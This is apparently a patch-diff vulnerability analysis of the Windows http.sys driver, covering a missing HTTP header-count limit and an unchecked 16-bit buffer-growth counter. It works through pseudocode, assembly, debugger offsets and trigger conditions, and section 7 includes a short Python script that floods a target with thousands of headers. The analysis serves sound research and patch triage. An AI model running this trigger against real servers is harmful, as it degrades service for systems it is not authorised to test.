1. Overview

Field Value
Unpatched binary http_unpatched.sys
Patched binary http_patched.sys
Overall similarity 0.9915 (very high)
Matched functions 3587
Changed functions (above matcher threshold) 4
Identical functions 3583
Unmatched (added/removed) 0 / 0 (plus new leaf helpers RtlUShortAdd, Feature_4071067963__*, Feature_1643097402__*)

Verdict: The patch delivers two feature-gated hardening changes to the kernel HTTP stack:

  1. A per-request header-pair count limit (MaxHeadersCount) enforced in UlParseRequestHeaderPairs. The unpatched driver bounded only total request bytes (MaxRequestBytes) and per-field length (MaxFieldLength); it placed no cap on the number of header pairs processed per request.
  2. A 16-bit integer-overflow guard (RtlUShortAdd) on the request-buffer array growth path in UlpParseNextRequest. The unpatched driver grew a 16-bit capacity counter with an unchecked add, which can wrap at 0xFFFF.

Both changes are gated behind WIL feature-staging flags surfaced as Known-Issue-Rollback (KIR) bytes (UxKirMaxHeadersCountLimit, UxKirRefBufferOverflowCheck). When a gate is off, the driver retains the original (unbounded / unchecked) code path, so this is a staged rollout rather than an unconditional fix.

The remaining function-level deltas across the two builds are WPP software-trace message-ID renumbering (a new trace message inserted for the header-count event shifts subsequent IDs), a +4/+8 struct-field offset ripple, and ordinary recompilation codegen churn. None of those carry a behavioral security change.


2. Vulnerability Summary

Finding #1 — Missing HTTP header-pair count limit (Medium / CWE-400)

  • Severity: Medium
  • Vulnerability class: Uncontrolled Resource Consumption (CWE-400)
  • Affected function: UlParseRequestHeaderPairs (unpatched @ 0x1C000F440, patched @ 0x1C000FAA0).
  • Entry point: Any TCP connection to an http.sys-backed listener (IIS 80/443, WinRM HTTP 5985, and other HTTP Server API consumers).

Root cause:

UlParseRequestHeaderPairs receives an already-tokenized array of header pairs and a count (the count lives at arg2[1], i.e. *(rdx+8)). It loops over each entry (index = 0 .. count-1), and for each header pair it:

  1. Validates leading/trailing whitespace on the name and value using the HttpChars classification table.
  2. Computes a hash of the header name (ebx).
  3. Runs a switch that compares the hash against a table of well-known header-name hashes (0xD2571FDB, 0x22AA28CC, 0x8364ED5D, 0x8E947973, 0x253F9D6E, 0x358E428A, 0x34291785, …); on a hash match it confirms with a strncmp.

In the unpatched build there is no limit on the number of header pairs this loop will process. The count is bounded upstream only by MaxRequestBytes (registry-configurable: minimum 0x100, default 0x4000 = 16 KB, maximum 0x1000000 = 16 MB). With minimal headers an attacker can fill that byte budget with a large number of header pairs, forcing the loop to perform O(count) whitespace-classification, hashing, and strncmp work in kernel context per request. Pipelined or concurrent requests raise the aggregate kernel-CPU cost.

The patch adds a count gate at the top of the loop (only when the KIR/feature gate is enabled):

  • Reads MaxHeadersCount from the server-configuration structure at +0x1124.
  • Rejects the request when header_pair_count > MaxHeadersCount + 4, setting http.sys internal error code 0x29 and status field 0xC0000040, then branching to error cleanup at 0x1C00104C3.
  • Emits a WPP software-trace message (id 0x5E) via WPP_SF_qLd when the limit is exceeded.

The default MaxHeadersCount is max(MaxRequestBytes >> 9, 0xC8) = max(MaxRequestBytes/512, 200); with the default 16 KB MaxRequestBytes this yields a cap of 200 (+4). It is registry-configurable in the range [0x32, 0xFFFF] (50–65535) via the MaxHeadersCount value.

Attacker-reachable call chain:

  1. Attacker opens a TCP connection to an http.sys-backed port.
  2. Network receive path dispatches to UlHttpReceiveHeadersEvent (@ 0x1C0006050).
  3. UlHttpReceiveHeadersEvent calls UlParseRequestHeaderPairs at 0x1C000634A.
  4. UlParseRequestHeaderPairs iterates the header-pair array with no count limit (unpatched).

Finding #2 — Unchecked 16-bit buffer-growth counter (Low / CWE-190)

  • Severity: Low (feature-gated defense-in-depth)
  • Vulnerability class: Integer Overflow (CWE-190), potentially reaching a heap out-of-bounds write (CWE-787)
  • Affected function: UlpParseNextRequest (@ 0x1C0006C30 in both builds).

Root cause:

UlpParseNextRequest maintains a growable array of 8-byte pointers on the connection object: buffer pointer at +0x648, allocated capacity (a 16-bit USHORT) at +0x640, and current used count (also 16-bit) at +0x642. When the array is full it reallocates (pool tag "UlRR" = 0x52526C55, ExAllocatePool3), copies the old contents with memmove, frees the old buffer, and increases the capacity by 5.

In the unpatched build the capacity increase is an unchecked 16-bit add:

add   word ptr [rsi+640h], 5      ; wraps silently at 0xFFFF

If the capacity counter is driven up to near 0xFFFF, this add wraps to a small value, after which the recorded capacity no longer reflects the real allocation and subsequent index writes (mov [rax+rcx*8], r15) can fall outside the allocated array.

The patch (when its gate is enabled) replaces the unchecked increment with the new helper RtlUShortAdd (@ 0x1C001FBB8), which performs capacity + 5 with a 16-bit overflow check and returns STATUS_INTEGER_OVERFLOW (0xC0000095) on wrap; the caller bails out on the negative status instead of reallocating.

Reaching the wrap requires on the order of 0xFFFF / 5 ≈ 13107 growth events (that many entries accumulated in this per-connection array), so this is a hard-to-reach hardening rather than a readily triggerable primitive. It is delivered feature-gated, with the old unchecked path retained when the gate is off.


3. Pseudocode Diff

UlParseRequestHeaderPairs — header-pair loop (before vs. after)

// ─── UNPATCHED @ 0x1C000F440 ─────────────────────────────────────
int UlParseRequestHeaderPairs(void *req, int64_t *args, uint32_t flags, uint8_t *status)
{
    // args[1] == *(args+8) == number of header pairs already tokenized
    // No count gate — the loop runs over all args[1] entries.
    for (index = 0; index < (uint32_t)args[1]; index++) {
        // whitespace-trim name/value via HttpChars table
        // hash(name) → switch(hash) { case 0xD2571FDB: ... strncmp ... }
    }
}

// ─── PATCHED @ 0x1C000FAA0 ───────────────────────────────────────
int UlParseRequestHeaderPairs(void *req, int64_t *args, uint32_t flags, uint8_t *status)
{
    // ── NEW: feature/KIR-gated header-count gate ──
    if (UxKirMaxHeadersCountLimit != 0) {              // gate byte (0 = old path)
        void *cfg      = *(void **)(conn_state + 0x3F8);
        uint32_t limit = *(uint32_t *)(cfg + 0x1124);  // MaxHeadersCount (new field)
        if ((uint32_t)args[1] > limit + 4) {
            WPP_SF_qLd(0x5E, ...);                      // WPP trace, msg id 0x5E
            error_code   = 0x29;                        // http.sys internal error
            status_field = 0xC0000040;                  // stored NTSTATUS value
            *status = 0;
            goto error_cleanup;                         // 0x1C00104C3
        }
    }

    for (index = 0; index < (uint32_t)args[1]; index++) {
        // identical per-header work (whitespace-trim, hash, switch/strncmp)
    }
}

Note: args[1] is an input count, not a value incremented inside this loop. The per-header pool allocation / list insertion happens in the upstream tokenizer, not in this function.

UlpParseNextRequest — buffer-growth guard (before vs. after)

// ─── UNPATCHED @ 0x1C0006C30 (buffer full → grow) ────────────────
if (used_count >= capacity /* [conn+0x640], USHORT */) {
    new = ExAllocatePool3(..., capacity*8 + 0x28, "UlRR");
    memmove(new, old /* [conn+0x648] */, used_count*8);
    if (capacity > 1) ExFreePoolWithTag(old, 0);
    *(uint16_t *)(conn+0x640) += 5;        // ← unchecked 16-bit add (wraps at 0xFFFF)
    *(void **)(conn+0x648) = new;
}

// ─── PATCHED @ 0x1C0006C30 ───────────────────────────────────────
if (used_count >= capacity) {
    if (UxKirRefBufferOverflowCheck != 0) {            // gate on → checked path
        USHORT newcap;
        if ((int)RtlUShortAdd(capacity, /*5*/, &newcap) < 0)  // STATUS_INTEGER_OVERFLOW
            goto error;                                        // bail, no realloc
        new = ExAllocatePool3(..., newcap*8, "UlRR");
        memmove(new, old, used_count*8);
        if (capacity > 1) ExFreePoolWithTag(old, 0);
        *(uint16_t *)(conn+0x640) = newcap;            // checked capacity
        *(void **)(conn+0x648) = new;
    } else {
        // old unchecked path retained (capacity*8 + 0x28, then += 5)
    }
}

UxReadHttp11ParserSettings — configuration read (patched only path)

// UxReadHttp11ParserSettings (unpatched @ 0x1C0127168, patched @ 0x1C0127178)
// MaxRequestBytes: min 0x100, default 0x4000, max 0x1000000  (unchanged)
// MaxFieldLength : moved from cfg+0x1124 (unpatched) to cfg+0x1128 (patched)

if (UxKirMaxHeadersCountLimit != 0) {                       // NEW, gated read
    uint32_t def = MaxRequestBytes >> 9;                    // /512
    if (def < 0xC8) def = 0xC8;                             // floor 200
    UxReadBoundedULongSetting(regKey, L"MaxHeadersCount",
                              def,       // default
                              0x32,      // min = 50
                              0xFFFF,    // max = 65535
                              3,         // DWORD
                              cfg + 0x1124 /* MaxHeadersCount */);
}

Adding MaxHeadersCount at cfg+0x1124 pushed MaxFieldLength from cfg+0x1124 to cfg+0x1128; this is the source of the struct-offset churn observed in several other functions.


4. Assembly Analysis

Patched UlParseRequestHeaderPairs — the new count gate (0x1C000FB130x1C000FB71)

00000001C000FB13  cmp     cs:UxKirMaxHeadersCountLimit, r12b   ; r12b = 0; gate byte
00000001C000FB1D  jz      short loc_1C000FB76                  ; gate off → old path
00000001C000FB1F  mov     rax, [rbx+3F8h]                      ; rax = server config
00000001C000FB26  mov     r9d, [rdi]                           ; r9d = header-pair count (*(args+8))
00000001C000FB29  mov     edx, [rax+1124h]                     ; edx = MaxHeadersCount (new field)
00000001C000FB2F  lea     eax, [rdx+4]                         ; eax = MaxHeadersCount + 4
00000001C000FB32  cmp     r9d, eax
00000001C000FB35  jbe     short loc_1C000FB7A                  ; count <= limit+4 → continue
00000001C000FB37  movzx   eax, byte ptr cs:WPP_MAIN_CB.Queue+1Ch
00000001C000FB3E  test    al, al
00000001C000FB40  jns     short loc_1C000FB5A
00000001C000FB46  mov     ecx, 5Eh                            ; WPP trace message id 0x5E
00000001C000FB55  call    WPP_SF_qLd
00000001C000FB5A  mov     r14d, 29h                           ; http.sys internal error code
00000001C000FB60  mov     [rbp+4Fh+var_C0], 0C0000040h        ; stored NTSTATUS value
00000001C000FB6E  mov     [r15], r12b                         ; *status = 0
00000001C000FB71  jmp     loc_1C00104C3                       ; error cleanup

Unpatched UlParseRequestHeaderPairs reaches its header loop directly (0x1C000F4CD xor r15d,r15d / 0x1C000F4D0 cmp [r12+8], ebx / 0x1C000F4D5 jbe loc_1C000F6E6) with no gate byte, no server-config read, and no MaxHeadersCount comparison.

Loop-termination check — present in BOTH builds

Patched 0x1C000FBAF cmp [rdi], ecx / 0x1C000FBB1 jbe loc_1C001024A (with ecx = 0) is the loop-entry/termination guard on the header-pair count. It corresponds exactly to unpatched 0x1C000F4D0 cmp [r12+8], ebx / jbe loc_1C000F6E6. It is not an added count check.

Host / cookie occurrence counters — saturation present in BOTH builds

The per-name occurrence counters are already saturated in the unpatched build; the patch does not add this. Unpatched:

; 'host' counter (var_A0)                     ; 'cookie' counter (var_A4)
00000001C0029F62  mov  eax, [rbp+4Fh+var_A0]  00000001C0029FAC  mov  eax, [rbp+4Fh+var_A4]
00000001C0029F65  cmp  eax, 0FFFFFFFFh        00000001C0029FAF  cmp  eax, 0FFFFFFFFh
00000001C0029F68  jnb  short loc_1C0029F6F    00000001C0029FB2  jnb  loc_1C000F6CC
00000001C0029F6A  inc  eax                    00000001C0029FB8  inc  eax
00000001C0029F6C  mov  [rbp+4Fh+var_A0], eax  00000001C0029FBA  mov  [rbp+4Fh+var_A4], eax

Patched uses the same cmp X, 0FFFFFFFFh / jnb / inc idiom on the reallocated registers/slots (host in r12d @ 0x1C000FF4B, cookie in var_B0 @ 0x1C000FF9D). This is register/slot reallocation from recompilation, not a new guard.

Patched UlpParseNextRequest — integer-overflow guard (0x1C0006FE8)

00000001C0006FE8  cmp     cs:UxKirRefBufferOverflowCheck, r12b  ; r12b = 0; gate byte
00000001C0006FEF  jz      loc_1C0007087                         ; gate off → old unchecked path
00000001C0006FF5  lea     r8, [rbp+57h+pusResult]
00000001C0006FF9  call    RtlUShortAdd                          ; NEW: checked capacity+5
00000001C0006FFE  test    eax, eax
00000001C0007000  js      loc_1C0007127                         ; STATUS_INTEGER_OVERFLOW → bail
...
00000001C0007028  call    cs:__imp_ExAllocatePool3
00000001C0007056  call    memmove
00000001C000707E  mov     [rdi+640h], ax                        ; store CHECKED new capacity

RtlUShortAdd @ 0x1C001FBB8 (new, absent in unpatched):

00000001C001FBB8  lea     eax, [rcx+5]        ; capacity + 5
00000001C001FBBB  cmp     ax, cx              ; 16-bit overflow?
00000001C001FBBE  jb      short loc_1C001FBC5
00000001C001FBC0  movzx   edx, ax             ; no overflow → result
00000001C001FBC5  mov     edx, 0FFFFh         ; overflow → saturate
00000001C001FBCA  sbb     eax, eax
00000001C001FBCC  mov     [r8], dx            ; *result
00000001C001FBD0  and     eax, 0C0000095h     ; STATUS_INTEGER_OVERFLOW on overflow, else 0
00000001C001FBD5  retn

Unpatched UlpParseNextRequest grows the counter with an unchecked add at 0x1C000704E:

00000001C000704E  add     word ptr [rsi+640h], 5   ; wraps silently at 0xFFFF
00000001C0007056  mov     [rsi+648h], r13

Feature-gate initialization — UxStartEnvironmentModule @ 0x1C01767B0 (patched)

00000001C0176898  call    Feature_4071067963__private_IsEnabledDeviceUsage
00000001C017689F  ...
00000001C01768AA  setnz   cs:UxKirMaxHeadersCountLimit          ; gate for Finding #1
00000001C017688A  call    Feature_1643097402__private_IsEnabledDeviceUsage
00000001C0176891  setnz   cs:UxKirRefBufferOverflowCheck        ; gate for Finding #2

Both gate bytes are new in the patched build; the unpatched build defines neither.


5. Trigger Conditions

Finding #1 (header-pair count)

  1. Open a TCP connection to any port served by http.sys.
  2. Send a valid request line and Host: header, followed by a large number of minimal headers (Xi: a\r\n), staying within MaxRequestBytes (default 16 KB; a higher configured value permits more headers).
  3. No authentication is required (pre-auth, anonymous).
  4. On the unpatched driver the header-pair loop processes every header pair (whitespace-classify + hash + strncmp) in kernel context; pipelined/concurrent requests raise aggregate kernel-CPU cost.
  5. On a patched driver with the gate enabled, a request whose header-pair count exceeds MaxHeadersCount + 4 is rejected (error code 0x29, status 0xC0000040) and a WPP trace message (id 0x5E) is emitted.

Finding #2 (16-bit buffer-growth counter)

Reaching the wrap requires driving the per-connection UlRR array capacity counter (conn+0x640) up toward 0xFFFF — on the order of ~13107 growth events accumulated on one connection. This is a high-effort path and is delivered feature-gated.


6. Exploit Primitive & Development Notes

Finding #1 primitive: Remote, pre-authentication kernel-CPU consumption bounded by MaxRequestBytes. Each byte of attacker input maps to a bounded amount of per-header kernel work (whitespace classification + hash + strncmp). This is a resource-consumption / availability issue; the diff shows no memory-corruption primitive for this finding.

Finding #2 primitive: A 16-bit capacity counter that wraps under extreme, high-effort input volume could cause the recorded capacity to understate the real allocation, potentially leading to an out-of-bounds index write into the UlRR array. The diff demonstrates only the arithmetic and its guard; it does not demonstrate a working corruption chain, and the required iteration count makes this hard to reach.

No KASLR/info-leak, SMEP/SMAP/CFG/HVCI-bypass, pool-spray, or code-execution primitive is demonstrated by this diff. Any such escalation would require independent research beyond what these two builds show.

Mitigation Relevance to these findings
MaxRequestBytes Bounds Finding #1's per-request header count via the total byte budget.
Feature staging / KIR Both fixes are gated; effectiveness depends on the feature being enabled in the field.
KASLR / SMEP / CFG / HVCI Not relevant to the demonstrated availability / arithmetic issues.

7. Debugger Notes

Setup: kernel debugger attached; symbols matching the specific build. Function addresses differ between the two builds (the image is relocated), so resolve by symbol name.

Finding #1 — UlParseRequestHeaderPairs

  • Break on http!UlParseRequestHeaderPairs.
  • Register convention at entry (unpatched @ 0x1C000F440): rcx = request object ([rcx+0x18] = connection state), rdx = header-pair array descriptor (*(rdx+8) = header-pair count), r8 = flags, r9 = status output byte.
  • Watch *(rdx+8) (the header-pair count) at entry — this is the value the patched gate compares against MaxHeadersCount+4.

Key offsets:

Offset Meaning
req+0x18 connection-state pointer
conn_state+0x3F8 server-config pointer (patched gate reads MaxHeadersCount from it)
cfg+0x1124 MaxHeadersCount in patched; MaxFieldLength in unpatched (MaxFieldLength moves to cfg+0x1128 in patched)
UxKirMaxHeadersCountLimit feature/KIR gate byte (patched only); must be non-zero for enforcement

Finding #2 — UlpParseNextRequest

Offset Meaning
conn+0x640 16-bit allocated capacity of the UlRR array
conn+0x642 16-bit used count
conn+0x648 array buffer pointer (8-byte entries)
UxKirRefBufferOverflowCheck feature/KIR gate byte (patched only); when set, RtlUShortAdd guards the capacity growth

Trigger setup (Finding #1, user-mode)

import socket

HOST, PORT = "target.example.com", 80     # or 443/TLS, 5985 for WinRM
NHEADERS   = 4000                          # bounded by MaxRequestBytes (default ~16 KB)

payload  = b"GET / HTTP/1.1\r\nHost: " + HOST.encode() + b"\r\n"
payload += b"".join(b"X%d: a\r\n" % i for i in range(NHEADERS))
payload += b"\r\n"

s = socket.socket(); s.connect((HOST, PORT))
s.sendall(payload)
print(s.recv(4096)); s.close()

Tune NHEADERS to the target's configured MaxRequestBytes. On a patched target with the gate enabled the request is rejected once the header-pair count exceeds MaxHeadersCount + 4.

Expected observations (Finding #1)

Item Unpatched Patched (gate enabled)
Header-pair count processed Up to the MaxRequestBytes-bounded count Capped at MaxHeadersCount+4
Per-request kernel-CPU work O(count) whitespace/hash/strncmp Bounded
WPP trace None Message id 0x5E via WPP_SF_qLd

8. Changed Functions — Full Triage

Security-relevant

  1. UlParseRequestHeaderPairs (unpatched @ 0x1C000F440, patched @ 0x1C000FAA0) — similarity 0.753. Adds the feature/KIR-gated MaxHeadersCount count gate at 0x1C000FB130x1C000FB71 (rejects when header_pair_count > MaxHeadersCount + 4). The cmp [rdi], ecx / jbe at 0x1C000FBAF is the loop-termination guard (present in both builds), and the host/cookie occurrence-counter saturation is present in both builds; neither is a new check. Finding #1.

  2. UlpParseNextRequest (@ 0x1C0006C30, both builds) — similarity 0.9747. Adds a feature/KIR-gated 16-bit integer-overflow guard: the unchecked add word ptr [conn+0x640], 5 is replaced (when UxKirRefBufferOverflowCheck is set) with a checked RtlUShortAdd that returns STATUS_INTEGER_OVERFLOW and bails before reallocating. Finding #2. (The remaining delta in this function is WPP trace-message-ID renumbering, e.g. 101→102, and stack-frame reshuffle — non-behavioral.)

Fix-supporting (configuration / feature-gate wiring)

  1. UxReadHttp11ParserSettings (unpatched @ 0x1C0127168, patched @ 0x1C0127178) — similarity 0.9165. Adds the gated read of the MaxHeadersCount registry value via UxReadBoundedULongSetting (default max(MaxRequestBytes/512, 200), range [0x32, 0xFFFF], stored at cfg+0x1124). Also shifts MaxFieldLength from cfg+0x1124 to cfg+0x1128.

  2. UxStartEnvironmentModule (@ 0x1C01767B0, both builds) — similarity 0.9284. Initializes the two new gate bytes from WIL feature-staging: UxKirMaxHeadersCountLimit from Feature_4071067963__private_IsEnabledDeviceUsage and UxKirRefBufferOverflowCheck from Feature_1643097402__private_IsEnabledDeviceUsage. This is the feature-detection plumbing for Findings #1 and #2, not cosmetic.

Non-behavioral churn (not security-relevant)

Beyond the four functions above, many functions differ only in WPP software-trace message-ID renumbering (the newly inserted header-count trace message shifts subsequent IDs, and one trace provider GUID was reorganized), in the MaxHeadersCount struct-offset ripple, or in ordinary recompilation register/variable reallocation. Spot-checked examples confirmed as churn: UlHttpIngressDisconnectEvent (trace GUID/id renumber), UlpCacheMdlReadCompleteWorker (variable reallocation), UxStartEnvironmentFacet (reordered, pre-existing HTTP/2 config reads with +8 offset shift). New leaf helpers RtlUShortAdd, Feature_4071067963__*, and Feature_1643097402__* are the only genuinely added functions.


9. Unmatched Functions

Removed Added
0 RtlUShortAdd, Feature_4071067963__private_IsEnabled{DeviceUsage,Fallback}, Feature_1643097402__private_IsEnabled{DeviceUsage,Fallback}

No functions were removed. The added items are the overflow-guard helper and the WIL feature-staging stubs for the two gates.


10. Confidence & Caveats

Confidence: High for the mechanism; Medium/Low for real-world impact.

  • Both changes are directly visible in the disassembly: a MaxHeadersCount count gate and a RtlUShortAdd overflow guard, each behind a WIL/KIR feature byte, with the old path retained in the else branch.
  • The call chain for Finding #1 (network receive → UlHttpReceiveHeadersEvent @ 0x1C0006050UlParseRequestHeaderPairs) is confirmed in both builds.

Things to verify before relying on either fix or publishing any PoC:

  1. Feature-gate state. UxKirMaxHeadersCountLimit and UxKirRefBufferOverflowCheck are set from WIL feature-staging (Feature_4071067963, Feature_1643097402). Whether either fix is active on a given install depends on the feature rollout state, not on the presence of the code alone.
  2. MaxRequestBytes on the target determines both the pre-patch header-count ceiling and the default MaxHeadersCount (max(MaxRequestBytes/512, 200)).
  3. Finding #2 reachability is high-effort (~13107 growth events on one connection); no working corruption chain is demonstrated by the diff.
  4. No DoS-to-RCE escalation is shown by these two builds; treat Finding #1 as an availability issue and Finding #2 as an arithmetic-hardening change unless independent analysis proves more.
  5. Struct-offset and WPP-ID churn ripple through many functions; do not read those as additional behavioral fixes.